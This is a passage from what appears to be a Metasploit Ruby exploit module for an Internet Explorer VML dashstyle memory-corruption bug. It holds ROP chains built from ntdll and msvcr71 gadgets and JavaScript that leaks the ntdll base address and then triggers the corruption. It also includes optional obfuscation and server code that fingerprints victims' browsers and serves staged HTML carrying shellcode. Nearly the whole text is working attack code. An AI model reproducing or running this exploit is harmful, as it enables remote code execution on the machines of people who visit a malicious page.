'0x5f4' } ] ], 'Privileged' => false, 'DisclosureDate' => "Mar 06 2013", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def exploit @second_stage_url = rand_text_alpha(10) @leak_param = rand_text_alpha(5) super end ############################### # edi -> ZwProtectVirtualMemory # esi -> return address # ebp -> 0xffffffff # esp -> ptr to BaseAddress # ebx -> ptr to NumberOfBytesToProtect # edx -> 0x00000040 # ecx -> ptr to OldAccessProtection def get_ntdll_rop case @ntdll_version when "6.1.7601.17514" stack_pivot = [ @ntdll_base+0x0001578a, # ret # from ntdll @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll @ntdll_base+0x00047733, # XCHG EAX,ESP # POP ESI # POP EDI # LEA EAX,DWORD PTR DS:[EDX-1] # POP EBX # RETN from [ntdll.dll] ].pack("V*") ntdll_rop = [ @ntdll_base+0x0006e388, # PUSH ESP # MOV CL,10 # INC DWORD PTR [ECX+8] # POP ESI # POP EBP # RETN 0x0C (move esp -> esi) 0x00010400, # NumberOfBytesToProtect @ntdll_base+0x00089d85, # XCHG EAX,ESI # RETN (move esi -> eax) 0x90909090, 0x90909090, 0x90909090, @ntdll_base+0x0001dd9f, # XCHG EAX,EBX # ADD EAX,DWORD PTR [EAX] # RETN 0x18 (move eax -> ebx) [ebx -> ptr to NumberOfBytesToProtect] @ntdll_base+0x00005922, # RETN 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, @ntdll_base+0x0006e388, # PUSH ESP # MOV CL,10 # INC DWORD PTR [ECX+8] # POP ESI # POP EBP # RETN 0x0C (move esp -> esi) 0x41414141, # OldAccessProtection @ntdll_base+0x00089d85, # XCHG EAX,ESI # RETN (move esi -> eax) 0x90909090, 0x90909090, 0x90909090, @ntdll_base+0x00060549, # XCHG EAX,ECX # RETN (move eax -> ecx) [ecx -> ptr to OldAccessProtection] @ntdll_base+0x000ce8fe, # PUSH ESP # XOR DL,BYTE PTR [EAX] # POP EBP # RETN 0x04 (move esp -> ebp) @ntdll_base+0x000ab623, # XCHG EAX,EBP # RETN (move ebp -> eax) EEEEESSSSPPPPP 0x90909090, @ntdll_base+0x00057dc2, # ADD EAX,20 # RETN @ntdll_base+0x00057dc2, # ADD EAX,20 # RETN @ntdll_base+0x00057dc2, # ADD EAX,20 # RETN @ntdll_base+0x00057dc2, # ADD EAX,20 # RETN 0x80 / 4 = 0x20(32) @ntdll_base+0x0005dde3, # MOV DWORD PTR [EAX],EAX # POP ESI # POP EBP # RETN 0x04 [BaseAddress] 0x90909090, 0x90909090, @ntdll_base+0x00035508, # ADD EAX,1 # RETN 0x90909090, @ntdll_base+0x00035508, # ADD EAX,1 # RETN @ntdll_base+0x00035508, # ADD EAX,1 # RETN @ntdll_base+0x00035508, # ADD EAX,1 # RETN @ntdll_base+0x00089d85, # XCHG EAX,ESI # RETN [esi -> return addrsss] @ntdll_base+0x0009a30c, # pop eax # retn 0xFA3DFA7F, @ntdll_base+0x0003ab39, # add eax,5C205C1 # retn @ntdll_base+0x00036d70, # xchg eax,edx # retn [edx -> 0x00000040] @ntdll_base+0x00047643, # pop edi # retn [edi -> ZwProtectVirtualMemory] @ntdll_base+0x00045F18, # ntdll!ZwProtectVirtualMemory @ntdll_base+0x000cb72a, # pop ebp # retn [ebp -> 0xffffffff] 0xffffffff, # ProcessHandle @ntdll_base+0x00005922, # RETN @ntdll_base+0x00005922, # RETN @ntdll_base+0x00005922, # RETN @ntdll_base+0x00005922, # RETN @ntdll_base+0x00005922, # RETN @ntdll_base+0x00005922, # RETN @ntdll_base+0x00005922, # RETN @ntdll_base+0x00005922, # RETN @ntdll_base+0x000227c4, # PUSHAD # RETN eax ecx edx ebx esp(original) ebp esi edi 0x90909090, ].pack("V*") return stack_pivot + ntdll_rop when "6.1.7601.17725" # 未构造 stack_pivot = [ @ntdll_base+0x0001579a, # ret # from ntdll @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll @ntdll_base+0x00015799, # xchg eax, esp # ret from ntdll ].pack("V*") ntdll_rop = [ @ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory 0x0c0c0c40, # ret to shellcode 0xffffffff, # ProcessHandle 0x0c0c0c34, # ptr to BaseAddress 0x0c0c0c38, # ptr to NumberOfBytesToProtect 0x00000040, # NewAccessProtection 0x0c0c0c3c, # ptr to OldAccessProtection 0x0c0c0c40, # BaseAddress 0x00000400, # NumberOfBytesToProtect 0x41414141 # OldAccessProtection ].pack("V*") return stack_pivot + ntdll_rop else return "" end end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. return code if t['Rop'].nil? # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :jre print_status("Using JRE ROP") stack_pivot = [ 0x7c348b06, # ret # from msvcr71 0x7c341748, # pop ebx # ret # from msvcr71 0x7c348b05 # xchg eax, esp # ret from msvcr71 ].pack("V*") rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot}) when :ntdll print_status("Using ntdll ROP") rop_payload = get_ntdll_rop + code end return rop_payload end def load_exploit_html(my_target, cli) p = get_payload(my_target, cli) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_ntdllBase = @ntdll_base js_trigger = %Q| var rect_array = new Array(); var a = new Array(); var ntdllBase = #{js_ntdllBase}; function createRects(){ for(var i=0; i<0x1000; i++){ rect_array[i] = document.createElement("v:shape") rect_array[i].id = "rect" + i.toString() document.body.appendChild(rect_array[i]) } } function exploit(){ // leak the address of shellcode var vml2 = document.getElementById("vml2") var i = 0 for (i=0; i<0x400; i++){ a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle; } for (i=0; i<0x400; i++){ a[i].rotation; if (i == 0x300) { vml2.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44" } } var length_orig = vml2.dashstyle.array.length; vml2.dashstyle.array.length = 0 - 1; var marginLeftAddress; for (i=0; i<0x400; i++) { a[i].marginLeft = unescape("#{js_code}"); marginLeftAddress = vml2.dashstyle.array.item(0x2E+0x16); if (marginLeftAddress > 0) { vml2.dashstyle.array.length = length_orig; break; } } // trigger var j = 0x400 var vml1 = document.getElementById("vml1") for (j=0x400; j<0x800; j++){ a[j] = document.getElementById("rect" + j.toString())._anchorRect; if (j == 0x700) { vml1.dashstyle = "1 2 3 4" } } //length_orig = vml1.dashstyle.array.length; vml1.dashstyle.array.length = 0 - 1; vml1.dashstyle.array.item(6) = marginLeftAddress; // vgx!COALineDashStyleArray::put_item+0x84/72 (4 + 2) vml1.dashstyle.array.item(8) = marginLeftAddress; // ebx vml1.dashstyle.array.item(9) = ntdllBase + 0xcc18d; // (RVA : 0x000cc18d) : # MOV ESP,EBX # POP EBX # RETN vml1.dashstyle.array.length = length_orig ; //for (j=0x400; j<0x800; j++) { delete a[0x701]; CollectGarbage(); } location.reload(); } | create_rects_func = "createRects" exploit_func = "exploit" if datastore['OBFUSCATE'] js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger) js_trigger.obfuscate create_rects_func = js_trigger.sym("createRects") exploit_func = js_trigger.sym("exploit") end html = %Q| <html> <head> <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" > </head> <title> </title> <style>v\: * { behavior:url(#default#VML); display:inline-block }</style> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <script> #{js_trigger} </script> <body onload="#{create_rects_func}(); #{exploit_func}();"> <div id="blah"></div> <v:oval> <v:stroke id="vml1"/> </v:oval> <v:oval> <v:stroke id="vml2"/> </v:oval> </body> </html> | return html end def html_info_leak js_trigger = %Q| var rect_array = new Array() var a = new Array() function createRects(){ for(var i=0; i<0x400; i++){ rect_array[i] = document.createElement("v:shape") rect_array[i].id = "rect" + i.toString() document.body.appendChild(rect_array[i]) } } function exploit(){ var vml1 = document.getElementById("vml1") for (var i=0; i<0x400; i++){ a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle; } for (var i=0; i<0x400; i++){ a[i].rotation; if (i == 0x300) { vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44" } } var length_orig = vml1.dashstyle.array.length; vml1.dashstyle.array.length = 0 - 1; for (var i=0; i<0x400; i++) { a[i].marginLeft = "a"; marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16); if (marginLeftAddress > 0) { vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300; var leak = a[i].marginLeft; vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress; vml1.dashstyle.array.length = length_orig; document.location = "#{get_resource}/#{@second_stage_url}" + "?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 ) return; } } } | create_rects_func = "createRects" exploit_func = "exploit" if datastore['OBFUSCATE'] js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger) js_trigger.obfuscate create_rects_func = js_trigger.sym("createRects") exploit_func = js_trigger.sym("exploit") end html = %Q| <html> <head> <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" > </head> <title> </title> <style>v\: * { behavior:url(#default#VML); display:inline-block }</style> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <script> #{js_trigger} </script> <body onload="#{create_rects_func}(); #{exploit_func}();"> <v:oval> <v:stroke id="vml1"/> </v:oval> </body> </html> | return html end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (d.d)/).flatten[0] || '' ie = agent.scan(/MSIE (d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end if my_target['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/ html = html_info_leak html = html.gsub(/^ /, '') print_status("Sending HTML to info leak...") send_response(cli, html, {'Content-Type'=>'text/html'}) else leak = begin request.uri_parts["QueryString"][@leak_param].to_i rescue end # Use JRE1.6 to exploit it. if leak == 0 html = load_exploit_html(my_target, cli) html = html.gsub(/^ /, '') print_status("Sending HTML to trigger(Use JRE1.6)...") send_response(cli, html, {'Content-Type'=>'text/html'}) return end # Use Ntdll to exploit it. print_status("ntdll leak: 0x#{leak.to_s(16)}") fingerprint = leak & 0x0000ffff case fingerprint when 0x70B0 @ntdll_version = "6.1.7601.17514" @ntdll_base = leak - 0x470B0 when 0x7090 @ntdll_version = "6.1.7601.17725" # MS12-001 @ntdll_base = leak - 0x47090 else print_error("ntdll version not detected, sending 404: #{agent}") send_not_found(cli) return end html = load_exploit_html(my_target, cli) html = html.gsub(/^ /, '') print_status("Sending HTML to trigger(Use Ntdll)...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end end